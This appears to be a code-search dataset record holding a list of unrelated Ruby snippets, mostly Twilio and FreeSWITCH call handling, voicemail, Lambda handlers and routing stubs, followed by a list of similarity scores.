"def actions()\n\t(\n\t\tcall_src_sip_username = _arg( 'Caller-Username' )\n\t\tcall_src_cid_userinfo = _arg( 'Caller-Caller-ID-Number' )\n\t\tcall_src_cid_displayname = _arg( 'Caller-Caller-ID-Name' )\n\t\tcall_dst_sip_userinfo = _arg( 'Caller-Destination-Number' )\n\t\tcall_dst_sip_domain = _arg( 'var_sip_to_host' )\n\t\t\n\t\t# Strip \"-kambridge-\" prefix added in kamailio.cfg:\n\t\tcall_dst_sip_userinfo = call_dst_sip_userinfo.gsub( /^-kambridge-/, '' )\n\t\t\n\t\tlogger.info(_bold( \"[FS] Call-proc. request, acct. #{call_src_sip_username.inspect} as #{call_src_cid_userinfo.inspect} (#{call_src_cid_displayname.inspect}) -> #{call_dst_sip_userinfo.inspect} ...\" ))\n\t\t_args.each { |k,v|\n\t\t\tcase v\n\t\t\t\twhen String\n\t\t\t\t\t#logger.debug( \" #{k.ljust(36)} = #{v.inspect}\" )\n\t\t\t\t#when Hash\n\t\t\t\t#\tv.each { |k1,v1|\n\t\t\t\t#\t\tlogger.debug( \" #{k}[ #{k1.ljust(30)} ] = #{v1.inspect}\" )\n\t\t\t\t#\t}\n\t\t\tend\n\t\t}\n\t\t\n\t\t# For FreeSwitch dialplan applications see\n\t\t# http://wiki.freeswitch.org/wiki/Mod_dptools\n\t\t# http://wiki.freeswitch.org/wiki/Category:Dptools\n\t\t\n\t\t# Note: If you want to do multiple iterations (requests) you\n\t\t# have to set channel variables to keep track of \"where you\n\t\t# are\" i.e. what you have done already.\n\t\t# And you have to explicitly send \"_continue\" as the last\n\t\t# application.\n\t\t\t\t\n\t\tif call_dst_sip_userinfo.blank?\n\t\t\tcase _arg( 'Answer-State' )\n\t\t\t\twhen 'ringing'\n\t\t\t\t\taction :respond , '404 Not Found' # or '400 Bad Request'? or '484 Address Incomplete'?\n\t\t\t\telse\n\t\t\t\t\taction :hangup , ''\n\t\t\tend\n\t\telse\n\t\t\t\n\t\t\tcall_dst_real_sip_username = call_dst_sip_userinfo # un-alias\n\t\t\t# (Alias lookup has already been done in kamailio.cfg.)\n\t\t\t\n\t\t\t# Here's an example: {\n\t\t\t#action :set , 'effective_caller_id_number=1234567'\n\t\t\t#action :bridge , \"sofia/internal/#{call_dst_real_sip_username}\"\n\t\t\t#action :answer\n\t\t\t#action :sleep , 1000\n\t\t\t#action :playback , 'tone_stream://%(500, 0, 640)'\n\t\t\t#action :set , 'voicemail_authorized=${sip_authorized}'\n\t\t\t#action :voicemail , \"default $${domain} #{call_dst_real_sip_username}\"\n\t\t\t#action :hangup\n\t\t\t#action :_continue\n\t\t\t# end of example }\n\t\t\t\n\t\t\t\n\t\t\t# http://kb.asipto.com/freeswitch:kamailio-3.1.x-freeswitch-1.0.6d-sbc#dialplan\n\t\t\t\n\t\t\t#OPTIMIZE Implement call-forwardings here ...\n\t\t\t\n\t\t\t# Ring the SIP user via Kamailio for 30 seconds:\n\t\t\taction_log( FS_LOG_INFO, \"Calling #{call_dst_real_sip_username} ...\" )\n\t\t\taction :set , \"call_timeout=5\"\n\t\t\taction :export , \"sip_contact_user=ufs\"\n\t\t\taction :bridge , \"sofia/internal/#{call_dst_real_sip_username}@127.0.0.1\"\n\t\t\t\n\t\t\t#OPTIMIZE Implement call-forward on busy/unavailable here ...\n\t\t\t\n\t\t\t# Go to voicemail:\n\t\t\taction_log( FS_LOG_INFO, \"Going to voicemail ...\" )\n\t\t\taction :answer\n\t\t\taction :voicemail , \"default #{call_dst_sip_domain} #{call_dst_real_sip_username}\"\n\t\t\taction :hangup\n\t\t\t\n\t\t\t\n\t\tend\n\t\t\n\t\t\n\t\trespond_to { |format|\n\t\t\tformat.xml {\n\t\t\t\trender :actions, :layout => false\n\t\t\t}\n\t\t\tformat.all {\n\t\t\t\trender :status => '406 Not Acceptable',\n\t\t\t\t\t:layout => false, :content_type => 'text/plain',\n\t\t\t\t\t:text => \"<!-- Only XML format is supported. -->\"\n\t\t\t}\n\t\t}\n\t\treturn\n\t)end",
"def process_http_request\n route_http_request\n end",
"def render_realtime(event)\n fail \"event/trigger is not found\" unless event[:trigger]\n fail \"event/action is not found\" unless event[:action]\n\n <<-EOS\nwhen \"#{event[:id]}\"\n response[:_db_errors] = {}\n response[:_event] = \"#{event[:id]}\"\n#{indent(params_rb(event[:trigger][:params]), 1)}\n#{indent(action_rb(event[:action]), 1)}\n EventMachine.next_tick do\n settings.sockets.each { |s| s.send(response.to_json) }\n end\n EOS\n end",
"def actions\n response = nil\n\n lambda do |_reason, data|\n puts \"[admin] Execute block code with reason : #{reason}\"\n case_events(data.to_hash)\n end\n\n response\n end",
"def call event\n fire(event)\n end",
"def lambda_handler(event:, context:)\n method = event['httpMethod']\n if method == 'GET'\n handle_get\n elsif method == 'POST'\n if event['body'] and store_score(event['body'])\n handle_post\n else\n handle_bad_request\n end\n else\n handle_bad_method(method)\n end\nend",
"def router(queue_event)\n if queue_event.broadcast?\n record_broadcasts(queue_event)\n false # skip broadcasts -- or cause a loop error\n elsif queue_event.ota_loading?\n false # skip ota inprogress counter\n elsif queue_event.schedule_related?\n handle_subscription_queue_event(queue_event)\n true # Allow dispatch\n else\n save_device_inventory(@_devices) if (queue_event.id % 120 == 0)\n true\n end\n end",
"def roll_call\n data = {}\n Pusher.trigger(params[:channel], 'roll_call', data)\n render nothing: true\n end",
"def lambda_handler(event:, context:)\r\n method = event['httpMethod']\r\n\r\n case method\r\n when 'GET'\r\n get_scores\r\n when 'POST'\r\n manage_score(event['body'])\r\n end\r\nend",
"def lambda_handler(event:, context:)\n method = event['httpMethod']\n\n case method\n when 'GET'\n get_questions\n\n when 'POST'\n manage_question(event['body'])\n\n when 'DELETE'\n delete_questions\n\n end\n\nend",
"def charge_events\n require_event_type('charge')\n head :no_content\n end",
"def process_route(*method_args, &block)\n return super unless SinatraOverrides.being_processed_by_sinatra?(block)\n\n super do |*block_args|\n with_parsed_params do\n yield *block_args\n end\n end\n end",
"def postroute\n community.messages.map{|m| m.ressource.postroute ? m : nil}.compact.each do |msg|\n messages << msg\n Event.make(:event_type_name => EvType.find_by_name(\"created\").name, :participant => participant, :message => msg)\n logger.info \"**** postrouting message.id=#{msg.id} to participant:#{participant.name} (pid:#{participant.id})\"\n end\n end",
"def named_route; end",
"def react_to *args; end",
"def call\n context.response ||= notify\n end",
"def any(path, &block)\n route 'GET', path, &block\n route 'POST', path, &block\n end",
"def index\n event = Event.find(params[:event_id])\n render json: event.route, status: :ok\n end",
"def send_events=(_arg0); end",
"def handler_method; end",
"def routing_number; end",
"def to_wires_event; self; end",
"def received\n end",
"def call(request); end",
"def perform(duration_in_ms, route, status)\n end",
"def handle_inbound(event_payload)\n head(:ok)\n end",
"def view_event(user, event) \n\tend",
"def start_call(node)\n if s(:call, s(:lvar, :map), :connect, s(:arglist, s(:str, \":controller/:action/:id\"))) == node ||\n s(:call, s(:lvar, :map), :connect, s(:arglist, s(:str, \":controller/:action/:id.:format\"))) == node ||\n s(:call, nil, :match, s(:arglist, s(:str, \":controller(/:action(/:id(.:format)))\"))) == node\n add_error \"not use default route\"\n end\n end",
"def call event\n # Instantiate and execute a handler for the event based on its namespace.\n # Handlers are executed with the middleware instance as the receiver.\n namespace, topic = event.topic.split('.')\n self.instance_exec(event, &handler_for(namespace, event.type))\n\n # Pass through the event (with potentially modified arguments) to the next\n # middleware\n fire(event)\n end",
"def reroute(&block)\n @reroute_callbacks << block if block_given?\n end",
"def process_action(...)\n send_action(...)\n end",
"def on_outbound\n nil\n end",
"def route\n @route\n end",
"def route_for(name, *args); end",
"def _roda_main_route(_)\n end",
"def routes\n routes_method.call\n end",
"def external_routes; end",
"def intent_listen_send\n\tbegin\n\t\tif @params['par']\n\t\t\tcase @params['par']\n\t\t\twhen '5'\n\t\t\t\tdata = { 'message' => 'Message to service' }\n\t\t\t\tparams_constructor(Rho::Intent::START_SERVICE,\"\",\"\",\"\",\"com.rhomobile.compliancetestruby\",\"com.rhomobile.rhodes.RhodesService\",\"\",\"\",data)\n\t\t\twhen '11'\n\t\t\t\tdata = { 'reply' => 'This is my broadcast data!' }\n\t\t\t\tparams_constructor(Rho::Intent::BROADCAST,\"\",\"com.smap.targetapp.mySecondAction\",\"\",\"\",\"\",\"\",\"\",data)\n\t\t\twhen '391'\n\t\t\t\tdata = { 'myData' => 'This is broadcast data 3!' }\n\t\t\t\tparams_constructor(Rho::Intent::BROADCAST,\"\",\"com.rhomobile.BROADCAST\",[\"com.rhomobile.compliancetestruby\"],\"\",\"\",\"\",\"\",data)\n\t\t\twhen '392'\n\t\t\t\tdata = { 'myData' => 'This is broadcast data 3!' }\n\t\t\t\tparams_constructor(Rho::Intent::BROADCAST,\"\",\"\",\"\",\"compliancetestruby\",\"\",\"\",\"\",data)\n\t\t\twhen '393'\n\t\t\t\tdata = { 'myData' => 'This is broadcast data 3!' }\n\t\t\t\tparams_constructor(Rho::Intent::BROADCAST,\"\",\"\",\"\",\"rhomobile compliancetest_ruby/compliancetestruby.exe\",\"\",\"\",\"\",data)\n\t\t\twhen '461'\n\t\t\t\tdata = { 'myData' => 'This is broadcast data!'}\n\t\t\t\tparams_constructor(Rho::Intent::BROADCAST,\"\",\"com.rhomobile.BROADCAST\",\"\",\"com.rhomobile.compliancetestruby\",\"\",\"\",\"\",data)\n\t\t\twhen '462'\n\t\t\t\tdata = { 'myData' => 'This is broadcast data!'}\n\t\t\t\tparams_constructor(Rho::Intent::BROADCAST,\"\",\"com.rhomobile.BROADCAST\",\"\",\"rhomobile compliancetest_ruby/compliancetestruby.exe\",\"\",\"\",\"\",data)\n\t\t\telse\n\n\t\t\tend\n\t\tend\n\t\tRho::Intent.startListening(url_for(:action => :listen_callback))\n\t\tRho::Intent.send(@result)\n\trescue =>ex\n\t\tjsmethod = 'Ruby.sendValueToJS(\"' + ex.message + '\")'\n\t\tRho::WebView.executeJavascript(jsmethod)\n\tend\nend",
"def do_event_action\n if self.casetype == 'order' || self.casetype == 'abandoned_cart' || self.casetype == 'preorder'\n puts \"Case do_event_action start\"\n events = Event.where(casetype: self.casetype)\n if events.present?\n puts \"case do_event_action\"\n user = User.find_by_subdomain(Apartment::Tenant.current)\n events.each do |event|\n Services::EventAction.do_action(user, event, self)\n end\n end\n puts \"Case do_event_action finish\"\n end\n end",
"def fires_in; end",
"def router; end"
] |
[
"0.67447895",
"0.6262165",
"0.6197178",
"0.6197178",
"0.6191316",
"0.61823624",
"0.6130707",
"0.6124416",
"0.60470057",
"0.5879433",
"0.58617884",
"0.58596176",
"0.5841882",
"0.58206284",
"0.5800671",
"0.5800671",
"0.57940614",
"0.57837844",
"0.57837844",
"0.57837844",
"0.5718736",
"0.57122236",
"0.57122236",
"0.5695823",
"0.56946677",
"0.56946677",
"0.56946677",
"0.56946677",
"0.56946677",
"0.56946677",
"0.56946677",
"0.56946677",
"0.56946677",
"0.56946677",
"0.56946677",
"0.56742257",
"0.56742257",
"0.56742257",
"0.56742257",
"0.56742257",
"0.56742257",
"0.56742257",
"0.56742257",
"0.5660047",
"0.56454384",
"0.56454384",
"0.56454384",
"0.56406635",
"0.56406635",
"0.56406635",
"0.5629746",
"0.56142336",
"0.56040525",
"0.5603771",
"0.5602668",
"0.55934715",
"0.55934715",
"0.5564686",
"0.5564375",
"0.5564375",
"0.55623484",
"0.5561457",
"0.5549958",
"0.55382234",
"0.5506422",
"0.54903495",
"0.5482887",
"0.54819953",
"0.547627",
"0.5467112",
"0.5450005",
"0.5437018",
"0.5435689",
"0.543326",
"0.54300284",
"0.54266393",
"0.54194814",
"0.541254",
"0.5411144",
"0.5406914",
"0.5383163",
"0.5375333",
"0.5374614",
"0.5365289",
"0.53563786",
"0.5352548",
"0.53505176",
"0.53469926",
"0.53378874",
"0.5334754",
"0.53347236",
"0.53229237",
"0.5322704",
"0.53202057",
"0.53187644",
"0.53144515",
"0.5303378",
"0.5301182",
"0.52961224",
"0.52940446",
"0.52901953"
] |
0.0
|
-1
|
When the dial is over. If someone picked up the call, we do nothing. Otherwise (rejected, timeout, busy,...), we record a voicemail.
|
def end_dial
return render nothing: true if params[:CallStatus] == 'completed'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def call?\n if rejection_reason\n TinyDialer::Log.info \"Rejected #{phone}: #{rejection_reason}\"\n return\n end\n # Make sure (now, now) overlaps (start, stop)\n now = (Time.now.utc + (3600*(timezone)).to_i).strftime('%H:%M')\n unless TinyDialer.db.fetch(\"select ('#{now}'::text::time, '#{now}'::text::time) OVERLAPS ('#{state.start}'::text::time, '#{state.stop}'::text::time)\").first[:overlaps]\n TinyDialer::Log.info \"Rejected #{phone}: Outside of calling times #{state.start} and #{state.stop}\"\n return false\n end\n true\n rescue => e\n TinyDialer::Log.error e\n return\n end",
"def log\n # When someone actually picks up the call\n if params[:DialAction] == 'answer'\n user_number = UserNumber.find_by_sip_endpoint(params[:DialBLegTo])\n @call.update! user_number: user_number\n # When the call is over, we log the call duration and the time it took to\n # pick up the call\n elsif params[:DialAction] == 'hangup' &&\n params[:DialBLegHangupCause] == 'NORMAL_CLEARING'\n pickup_time = params[:AnswerTime].to_time - params[:StartTime].to_time\n @call.update! duration: params[:DialBLegDuration], pickup_time: pickup_time\n end\n render nothing: true\n end",
"def attempt_call\n @base_url = AppConfig.base_url || \"\"\n @call_list = CallList.find(params[:call_list_id])\n @call_escalations = [@call_list.current_oncalls, @call_list.call_escalations].flatten\n @number_index = params[:number_index].to_i || 0\n @try = (params[:try] || 1).to_i\n dialCallStatus = params[:DialCallStatus] || \"\"\n\n @call_escalation = get_number_to_call\n\n if dialCallStatus != \"completed\" && @call_escalation\n return\n elsif dialCallStatus == \"completed\"\n render :text => \"<Response><Hangup/></Response>\"\n else\n render :text => \"<Response><Say>No one on the call list pick up their phone. Good bye.</Say><Hangup/></Response>\"\n end\n end",
"def re_record_prompt\n active_recording = active_call.recordings.create!(duration: params['RecordingDuration'], recording_url: params['RecordingUrl'])\n response = Twilio::TwiML::Response.new do |r|\n r.Say 'Thank you.'\n play_audio(r, 'recording_play_back')\n play_audio(r, 'recording_recrcord_instructions')\n r.Gather(\n action: ivr_recordings_new_recording_url,\n method: 'get',\n 'numDigits' => 1,\n 'finishOnKey' => ''\n ) do |gather|\n r.Play(active_recording.recording_url)\n play_audio(r, 'recording_play_back')\n play_audio(r, 'recording_recrcord_instructions')\n end\n play_audio(r, 'goodbye')\n r.Hangup\n end\n\n render_twiml response\n end",
"def place_call\n client = Twilio::REST::Client.new(Settings.twilio.account_sid, Settings.twilio.auth_token)\n params = {\n from: call.caller_id,\n to: call.member_phone_number,\n url: call_start_url(call),\n status_callback: member_call_event_url(call),\n status_callback_method: 'POST',\n status_callback_event: %w[initiated ringing answered completed]\n }\n client.calls.create params\n rescue Twilio::REST::RestError => e\n # 13223: Dial: Invalid phone number format\n # 13224: Dial: Invalid phone number\n # 13225: Dial: Forbidden phone number\n # 13226: Dial: Invalid country code\n # 21211: Invalid 'To' Phone Number\n # 21214: 'To' phone number cannot be reached\n call.action.destroy!\n call.update!(twilio_error_code: e.code, status: 'failed', action_id: nil)\n if (e.code >= 13_223 && e.code <= 13_226) || [21_211, 21_214].include?(e.code)\n add_error(:member_phone_number, I18n.t('call_tool.errors.phone_number.cant_connect'))\n else\n Rails.logger.error(\"Twilio Error: API responded with code #{e.code} for #{call.attributes.inspect}\")\n add_error(:base, I18n.t('call_tool.errors.unknown'))\n end\n end",
"def block_if_on_hold\n raise \"Account is currently on hold. Messaging is disabled.\" if current_account.on_hold?\n end",
"def callback\n twilio_id = params[:CallSid]\n call = Call.where('twilio_id = ?', twilio_id).first\n call.get_recording_info(twilio_id, params[:CallDuration], params[:AnsweredBy])\n render :json => 'callback success'\n end",
"def complete_and_asign_dialer!\n dialers = Dialer.reserved\n dialer = if dialers.any?\n dialers.sample\n else\n dialers.first!\n end\n update! status: User::Status::ACTIVE, dialer: dialer\n dialer.update! status: Dialer::Status::ACTIVE\n end",
"def on_ask(ask)\r\n warn \"Ask \" + ask.to_s\r\n end",
"def on_busy(reason)\n end",
"def call\n catch_event unless no_event_possible?\n end",
"def still_ringing?(from)\n client = Twilio::REST::Client.new ACCOUNT_SID, AUTH_TOKEN\n\n client.account.calls.list({\n status: \"in-progress\",\n from: from,\n to: CALLER_ID,\n direction: \"inbound\"}).present?\n end",
"def reject_call_request\n job = Job.find(params[:job_id])\n if job.destroy\n pusher = Grocer.pusher(\n certificate: \"#{Rails.root}/public/consumer.pem\", \n passphrase: \"Sybrant123\", \n gateway: \"gateway.sandbox.push.apple.com\", \n port: 2195, \n retries: 3 \n )\n # Environment variables are automatically read, or can be overridden by any specified options. You can also\n notification = Grocer::Notification.new(\n device_token: job.user.device_token.device_token,\n alert: \"Expert Rejected the call\",\n badge: 0,\n sound: \"siren.aiff\",\n custom: { \"job\" => job.id, \"type\" => \"Expert_rejected_call\"}\n )\n\n pusher.push(notification)\n end\n end",
"def treat_called\n start_time = Time.now\n while Time.now < start_time + COMPONENTS.hammer[:called_treatment][:call_length].to_i.seconds do\n play COMPONENTS.hammer[:called_treatment][:message]\n end\n hangup\n end",
"def connection_gather_prompt\n active_connection = active_call.last_connection\n active_connection.update!(remote_id: params['DialCallSid'], status: params['DialCallStatus'])\n response = Twilio::TwiML::Response.new do |r|\n r.Pause(length:2) #prevents user from accidentaly pushing * for this gather prompt\n r.Gather(\n action: ivr_calls_connection_gather_url(connection_id: active_connection.id),\n 'numDigits' => 1,\n 'finishOnKey' => ''\n ) do |gather|\n play_audio(r, 'user_response')\n gather.Pause(length:5)\n play_audio(r, 'user_response')\n end\n ready_for_connection?(r)\n end\n\n render_twiml response\n end",
"def requires_call(max_lag,max_attempts)\n # now find the correct entry in pending_calls\n call = self.pending_call\n if (self.is_late(max_lag))\n puts \"pharmacy #{self.id} is late\"\n if (call.attempts.to_i < max_attempts.to_i)\n puts \"#{call.attempts} attempts left out of #{max_attempts}\"\n if (self.is_acceptable_call_time)\n #note that is_acceptable call time acutally will update attemps if it is an acceptable time\n puts \"acceptable call time\"\n call.update(:number_id => self.get_next_number(call.number_id))\n ## if we are on the last number then update attempts\n if (self.is_last_available_number(call.number_id))\n puts \"last available number\"\n call.update(:attempts => call.attempts + 1)\n end\n\n return true\n end\n ## if attempts are greater than max attemps then\n else\n ## alert admins if we haven't already done so\n unless call.error_message_sent\n puts call.error_message_sent\n puts \"issuing error\"\n error_message = \"Pharmacy (pid:#{self.id}) could not be reached\"\n\n Error.report({\n :number_id => self.preferred_number_id,\n :message => error_message,\n :code => 2,\n :created_at => Time.now\n })\n\n call.update(:error_message_sent => 1)\n end\n end\n end\n return false\n end",
"def callwide_events()\n on :event => 'error', :next => '/error.json' # For fatal programming errors. Log some details so we can fix it\n on :event => 'hangup', :next => '/hangup.json' # When a user hangs or call is done. We will want to log some details.\nend",
"def reminderCall\n @twilio_number = ENV['TWILIO_NUMBER']\n @client = Twilio::REST::Client.new ENV['TWILIO_ACCOUNT_SID'], ENV['TWILIO_AUTH_TOKEN']\n call = @client.account.calls.create(\n :from => @twilio_number,\n :to => self.phone_number,\n :url => 'https://clockairos.herokuapp.com/twilio/call',\n :method => 'POST',\n :fallback_method => 'GET',\n :status_callback_method => 'GET',\n :if_machine => 'Hangup',\n :timeout => '30',\n :record => 'false'\n )\n puts call.to\n end",
"def record_message\n @response.say('You can leave a message')\n @response.record(action: '/call/hook/message')\n\n @call.update(final_action: 'left_message')\n end",
"def async_call_pending?(call)\n connected? && client.async_call_pending?(call)\n end",
"def track_originating_call\n @call.on_end do |_|\n logger.debug \"Root call ended, unblocking connected calls\"\n @waiters.each do |latch|\n latch.countdown! until latch.count == 0\n end\n end\n end",
"def checkAvailable(results, location)\n \n time = Time.now\n \n #checks if location has appointments\n if results.include? \"No Appointments Available Currently\"\n puts time.inspect + \" : \" + location.downcase + \"- NO appointment found\"\n else\n puts time.inspect + \" : \" + location.downcase + \"- YES appointment found\"\n \n #Starts Twilio to send text message\n account_sid = '000000000000000000000000000000'\n auth_token = '000000000000000000000000000000'\n client = Twilio::REST::Client.new(account_sid, auth_token)\n\n from = '+0000000000' # Your Twilio number\n toPerson = '+0000000000' # Your mobile phone number\n \n #Sends message as text notification and includes quick link\n client.messages.create(\n from: from,\n to: toPerson,\n body: \"Appointment has been found at \" + location + \". https://am-i-eligible.covid19vaccine.health.ny.gov\"\n )\n puts 'text notification sent'\n \n #Waits 1-hour before checking again to avoid spamming\n puts \"waiting 60 minutes before checking again\"\n sleep 900\n puts \"waiting 45 minutes before checking again\"\n sleep 900\n puts \"waiting 30 minutes before checking again\"\n sleep 900\n puts \"waiting 15 minutes before checking again\"\n sleep 900\n \n puts \"resuming...\"\n end\nend",
"def call\n context.response ||= notify\n end",
"def new_response_reminder_alert(info_request, incoming_message)\n # Make a link going to the form to describe state, and which logs the\n # user in.\n post_redirect = PostRedirect.new(\n :uri => main_url(request_url(info_request)) + \"#describe_state_form_1\",\n :user_id => info_request.user.id)\n post_redirect.save!\n url = confirm_url(:email_token => post_redirect.email_token)\n\n @from = contact_from_name_and_email\n headers 'Return-Path' => blackhole_email, 'Reply-To' => @from, # not much we can do if the user's email is broken\n 'Auto-Submitted' => 'auto-generated' # http://tools.ietf.org/html/rfc3834\n @recipients = info_request.user.name_and_email\n @subject = \"Was the response you got to your FOI request any good?\"\n @body = { :incoming_message => incoming_message, :info_request => info_request, :url => url }\n end",
"def new_voicemail_email(call)\n @user = call.user\n @call = call\n @recording = call.recording\n mail to: @user.email, subject: \"Voicemail message from #{@call.caller_number}\"\n end",
"def unanswered\n request('unanswered')\n end",
"def voice_dialing_blocked\n return @voice_dialing_blocked\n end",
"def voice_dialing_blocked\n return @voice_dialing_blocked\n end",
"def reminder_sent\n end",
"def send_pending; end",
"def play_voicemail_greeting\n user = locate_user(rdnis)\n if user\n play_greeting(user)\n record_voicemail_message(user)\n else\n play \"invalid\"\n end\n end",
"def on_rate_limit(*)\n disconnect(:rate_limited)\n fail SlackBotManager::ConnectionRateLimited\n end",
"def on_data_ok; on_data_cancel; end",
"def record_outgoing_interaction\n client&.update!(\n last_internal_or_outgoing_interaction_at: Time.now.to_datetime,\n response_needed_since: nil,\n first_unanswered_incoming_interaction_at: nil, # we've explicitly responded to them somehow, so we can clear this value.\n )\n end",
"def start\n find_or_create_active_call\n response = Twilio::TwiML::Response.new do |r|\n r.Pause\n ready_for_connection?(r)\n r.Say('Please try again later.')\n play_audio(r, 'goodbye')\n end\n\n render_twiml response\n end",
"def signal_received; end",
"def signal\n @sender << PAYLOAD\n nil\n rescue IOError, Errno::EPIPE, Errno::EBADF\n raise DeadWakerError, \"waker is already dead\"\n end",
"def active_call\n return is_on_time(self.calls.last) ? self.calls.last : nil\n end",
"def test!\n begin\n send_message!(:recipient_email => '_', :subject => 'meh')\n rescue Excon::Errors::Error, Timeout::Error\n false\n rescue MessageRejectedError, RecipientRejectedError\n true\n else\n false # Gateway is being weird, should never accept that message\n end\n end",
"def notify_all_agents_of_call(from)\n if still_ringing?(from)\n # dial all on_call users\n User.all.each do |agent|\n if agent.on_call?\n dial_user(from, agent, {send_ping: true})\n end\n end\n end\n end",
"def fallback_to_twilio\n sms.output = :twilio\n sms.deliver\n end",
"def cancel!\n self.type = :unsubscribed\n reply_if_needed!\n end",
"def voicemail\n @call.update! voicemail: params[:RecordFile],\n duration: params[:RecordingDuration]\n render nothing: true\n end",
"def sentiment_too_low(call)\n @call = call\n @company_phone = call.company_phone\n @company = @company_phone.company\n attachments['call.wav'] = read_url_file call.audiofile\n mail(\n to: @company_phone.extensions.admin.first.email,\n subject: 'GurúComm | Llamada negativa'\n )\n end",
"def deliver_alarm\n # In the base stub class, just route these to the report method.\n deliver_report\n end",
"def connect_base\n if @contact.prohibited?\n # after the first denied message, we just slam the channel shut: no more nice guy\n LOG.warn(@mail[:mail_id]) {\"Slammed connection shut. No more nice guy with #{@mail[:remote_ip]}\"}\n raise Quit\n end\n\n if @contact.warning?\n # this is the first denied message\n @warning_given = true\n expires_at = @contact.violation.strftime('%Y-%m-%d %H:%M:%S %Z') # to kick it up to prohibited\n LOG.warn(@mail[:mail_id]) {\"Access TEMPORARILY denied to #{@mail[:remote_ip]} (#{@mail[:remote_hostname]}) until #{expires_at}\"}\n return \"454 4.7.1 Access TEMPORARILY denied to #{@mail[:remote_ip]}: you may try again after #{expires_at}\"\n end\n\n if respond_to?(:connect)\n msg = connect(value)\n return msg if !msg.nil?\n end\n\n # 8 bells and all is well\n @level = 1\n return \"220 2.0.0 #{@mail[:local_hostname]} ESMTP RubyMTA 0.01 #{Time.new.strftime(\"%^a, %d %^b %Y %H:%M:%S %z\")}\"\n end",
"def report\n if data[:ping].nil?\n @fails += 1\n if @fails >= @alert_after\n alarm \"Miner #{@num} did not respond to status query\"\n end\n else\n @fails = 0\n if self[:mhs] < @min_speed*0.95 and upminutes > 5\n alarm \"Miner #{@num} performance is #{self[:mhs]}, should be #{@min_speed}\"\n elsif upminutes < 2\n alarm \"Miner #{@num} restarted\", \"Frog.aiff\"\n end\n end\n end",
"def send_urgent?; preference == EmailSetting::OPTIONS[:'All Urgent Requests'] || preference.nil?; end",
"def missed\n EventMailer.missed\n end",
"def new_connection\n response = Twilio::TwiML::Response.new do |r|\n if active_call.next_target.present?\n connection = active_call.create_connection!\n play_audio(r, connection.connecting_message_key)\n play_audio(r, 'star_to_disconnect')\n target_number = ENV['FAKE_CONGRESS_NUMBER'] || connection.legislator.phone\n r.Dial target_number, 'action' => ivr_calls_connection_gather_prompt_url, 'hangupOnStar' => true, 'callerId' => caller_id\n else\n close_call(r)\n end\n end\n\n render_twiml response\n end",
"def create\n @call = Call.new(params[:call])\n \n respond_to do |format|\n if @call.save\n \n result = OutgoingCallerId.find(:last)\n twcall = @twilio_client.account.calls.create(\n from: result.phone_number,\n to: @call.to, \n url: \"#{url_for(@call)}/twiml.xml\")\n \n @call.update_attribute :sid, twcall.sid\n format.html { redirect_to @call, notice: \"Call was successfully created.#{url_for(@call)}\" }\n format.json { render json: @call, status: :created, location: @call }\n else\n format.html { render action: \"new\" }\n format.json { render json: @call.errors, status: :unprocessable_entity }\n end\n end\n end",
"def already_reported; end",
"def already_reported; end",
"def answer_on_incoming()\n update({:state => 'active'})\n reload()\n end",
"def receive_ping\n done\n end",
"def overdue_alert(info_request, user)\n respond_url = respond_to_last_url(info_request) + \"#followup\"\n\n post_redirect = PostRedirect.new(\n :uri => respond_url,\n :user_id => user.id)\n post_redirect.save!\n url = confirm_url(:email_token => post_redirect.email_token)\n\n @from = contact_from_name_and_email\n headers 'Return-Path' => blackhole_email, 'Reply-To' => @from, # not much we can do if the user's email is broken\n 'Auto-Submitted' => 'auto-generated' # http://tools.ietf.org/html/rfc3834\n @recipients = user.name_and_email\n @subject = \"You're overdue a response to your FOI request - \" + info_request.title\n @body = { :info_request => info_request, :url => url }\n end",
"def set_new_state_after_notify(was_successful, event, status)\n unless status.attending?\n if was_successful\n if event.event?\n status.not_responded!\n else\n status.delivered!\n end\n else\n status.not_delivered!\n end\n status.save\n end\n end",
"def check_for_completeness\n mark_complete(Time.now) if paid? && received?\n end",
"def answer(call)\n cmd = \"ALTER CALL #{call.call_id} ANSWER\"\n r = Skype.send_ :command => cmd\n raise RuntimeError(\"Failed to answer call. Skype returned '#{r}'\") unless r == cmd\n @@calls << call\n end",
"def resendable?\n (self.sent_at + 15.minutes) < Time.current\n end",
"def on_receive\n # handle wrong session and extract value\n tmp = self.value.split(\":\")\n return if $sessionID != tmp[0].to_i\n self.value = tmp.slice(1,tmp.length).join(\":\")\n # get on with the real work\n\n # record the receipt of this acceptance\n if not $acceptedTracker.has_key?([self.id, self.value])\n $acceptedTracker[[self.id, self.value]] = 1\n else\n $acceptedTracker[[self.id, self.value]] += 1\n end\n self.has_learned\n end",
"def invite_rejected\n\t\t@players[0].socket.send({\"inviteRejected\"=>true}.to_json)\t\t\n\t\t@state = :CLOSED\n\tend",
"def get_call_status\r\n\t dialstatus = get_variable(\"dialstatus\")\r\n\t if dialstatus == nil #the dial command has not returned yet..thus the call is in progress\r\n\t return :InProgress\r\n\t elsif dialstatus == \"ANSWER\" #the dial command returned from a successfully answered call\r\n\t return :Answered\r\n\t elsif dialstatus == \"BUSY\" #the dial command met with a busy signal on the other end\r\n\t return :Busy\r\n\t elsif dialstatus == \"NOANSWER\" #the dial command aborted due to no answer\r\n\t return :NoAnswer\r\n\t elsif dialstatus == \"CONGESTION\" #the dial command failed due to congestion\r\n\t return :Congestion\r\n\t elsif dialstatus == \"CHANUNAVAIL\" #the dial command failed due to misc reasons.\r\n\t return :ChannelUnavailable\r\n\t else\r\n\t return :Offline #not sure\r\n\t end\r\n\tend",
"def makecall\n \n client = Twilio::REST::Client.new(TWILIO_CONFIG['sid'], TWILIO_CONFIG['token'])\n @call = client.account.calls.create(\n :from => TWILIO_CONFIG['from'], # From your Twilio number\n :to => '+19493228496', # To any number\n # Fetch instructions from this URL when the call connects\n :url => 'http://snipit.herokuapp.com/voicein'\n )\n end",
"def alarm message, sound=:failure\n puts message\n play sound \n end",
"def send_reply\n if self.response_changed?\n @notifiable = self\n @tutor = User.find(self.user_id)\n @student = User.find(self.pupil_id)\n\n if self.response == \"Declined\"\n @description = self.pupil.title + \" has sadly declined your offer\"\n @notifiable.notifications.create(:user => @tutor ,:receiver_id => @student.id, :message => 'You hve declined the offer by ' + @tutor.title)\n else\n @description = self.pupil.title + \" is now a student at your school\"\n @notifiable.notifications.create(:user => @tutor ,:receiver_id => @student.id, :message => 'You are now a student of ' + @tutor.title)\n end\n @notifiable.notifications.create(:user => @student, :receiver_id => @tutor.id, :message => @description)\n end\n end",
